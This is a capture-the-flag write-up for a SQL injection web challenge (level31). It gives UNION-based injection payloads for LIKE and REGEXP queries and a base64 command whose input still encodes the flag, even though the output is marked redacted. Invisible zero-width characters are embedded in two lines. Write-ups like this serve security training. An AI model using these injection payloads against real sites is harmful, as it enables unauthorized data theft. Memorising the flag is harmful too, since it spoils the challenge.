level31

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: base64_decoding, like_regexp_injection, union_based_sqli

Summary

SQL injection task at http://kslweb1.spb.ctf.su/fourth/level31/

level31 — Web Kids 2.0

Description

SQL injection task at http://kslweb1.spb.ctf.su/fourth/level31/

Analysis

The application uses a complex query with LIKE and/or REGEXP clauses for advanced search functionality. The flag is stored in base64 encoded format in the database, requiring an additional decoding step after extraction.

Key vulnerabilities:

1. Input concatenated into LIKE/REGEXP clause without sanitization
2. Flag stored as base64 — needs decoding after extraction

Solution

UNION-based injection in complex LIKE/REGEXP query: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. Escape the LIKE/REGEXP context
2. Use UNION SELECT to extract the encoded flag
3. Decode the base64 result

Example payload:

 sql read-only • copy allowed Copy
%' UNION SELECT flag FROM flags--

Or for REGEXP context:

 sql read-only • copy allowed Copy
.*' UNION SELECT flag FROM flags--

After extracting the data, decode from base64:

 bash read-only • copy allowed Copy
echo "S1NMezJhMjc2N2EyYWM4NmI5NWQ5OGVjZTJhNzE2NmM3YWNhfQ==" | base64 -d
# Output: KSL{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍